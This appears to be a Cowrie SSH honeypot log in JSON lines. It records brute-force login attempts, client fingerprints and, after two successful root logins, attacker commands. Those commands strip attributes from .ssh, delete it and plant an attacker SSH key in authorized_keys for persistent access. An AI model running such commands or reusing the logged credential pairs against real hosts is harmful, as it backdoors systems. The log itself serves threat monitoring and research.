{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:26.105181Z","src_ip":"93.71.118.99","session":"d81fa17f522d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:26.157647Z","src_ip":"138.99.80.102","session":"a3f6f8e1519e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:26.160779Z","src_ip":"138.99.80.102","session":"6c19b3593fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36664,"dst_ip":"159.203.135.109","dst_port":22,"session":"99d656b85c95","protocol":"ssh","message":"New connection: 2.57.122.208:36664 (159.203.135.109:22) [session: 99d656b85c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:32.842092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:32.846487Z","src_ip":"2.57.122.208","session":"99d656b85c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:32.950071Z","src_ip":"2.57.122.208","session":"99d656b85c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:33.261209Z","src_ip":"2.57.122.208","session":"99d656b85c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:25:34.508447Z","src_ip":"2.57.122.208","session":"99d656b85c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":40582,"dst_ip":"159.203.135.109","dst_port":22,"session":"03e2f84299cf","protocol":"ssh","message":"New connection: 159.223.57.48:40582 (159.203.135.109:22) [session: 03e2f84299cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:00.020128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:00.026145Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:00.263486Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":56084,"dst_ip":"159.203.135.109","dst_port":22,"session":"3738af1bef8d","protocol":"ssh","message":"New connection: 2.57.122.96:56084 (159.203.135.109:22) [session: 3738af1bef8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:00.575813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:00.580543Z","src_ip":"2.57.122.96","session":"3738af1bef8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:00.681273Z","src_ip":"2.57.122.96","session":"3738af1bef8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:01.237194Z","src_ip":"2.57.122.96","session":"3738af1bef8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2025","message":"login attempt [root/admin@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:01.246326Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:01.752980Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:01.755068Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:01.758624Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:01.997894Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:02.343029Z","src_ip":"2.57.122.96","session":"3738af1bef8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:02.502048Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:02.504816Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:02.743116Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:02.746617Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":43670,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbd3e6777362","protocol":"ssh","message":"New connection: 159.223.57.48:43670 (159.203.135.109:22) [session: bbd3e6777362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:02.984258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:02.988266Z","src_ip":"159.223.57.48","session":"bbd3e6777362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:03.248623Z","src_ip":"159.223.57.48","session":"bbd3e6777362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:04.261114Z","src_ip":"159.223.57.48","session":"bbd3e6777362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:05.507617Z","src_ip":"159.223.57.48","session":"bbd3e6777362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":43680,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b1b59066833","protocol":"ssh","message":"New connection: 159.223.57.48:43680 (159.203.135.109:22) [session: 4b1b59066833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:05.748613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:05.753909Z","src_ip":"159.223.57.48","session":"4b1b59066833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:05.998330Z","src_ip":"159.223.57.48","session":"4b1b59066833","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:07.008280Z","src_ip":"159.223.57.48","session":"4b1b59066833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:07.254441Z","src_ip":"159.223.57.48","session":"03e2f84299cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:07.257544Z","src_ip":"159.223.57.48","session":"4b1b59066833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":53754,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f7297dd309","protocol":"ssh","message":"New connection: 103.134.154.36:53754 (10.17.0.5:22) [session: a1f7297dd309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:14.945760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:14.949831Z","src_ip":"103.134.154.36","session":"a1f7297dd309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:15.178200Z","src_ip":"103.134.154.36","session":"a1f7297dd309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":39640,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8b747d914f9","protocol":"ssh","message":"New connection: 49.49.239.64:39640 (159.203.135.109:22) [session: d8b747d914f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:15.293525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:15.297548Z","src_ip":"49.49.239.64","session":"d8b747d914f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:15.554375Z","src_ip":"49.49.239.64","session":"d8b747d914f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"red","password":"password","message":"login attempt [red/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:16.127926Z","src_ip":"103.134.154.36","session":"a1f7297dd309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"znc","password":"Znc123!","message":"login attempt [znc/Znc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:16.616759Z","src_ip":"49.49.239.64","session":"d8b747d914f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":65322,"dst_ip":"159.203.135.109","dst_port":22,"session":"3370e80d0989","protocol":"ssh","message":"New connection: 68.233.116.124:65322 (159.203.135.109:22) [session: 3370e80d0989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:26:17.196946Z"}
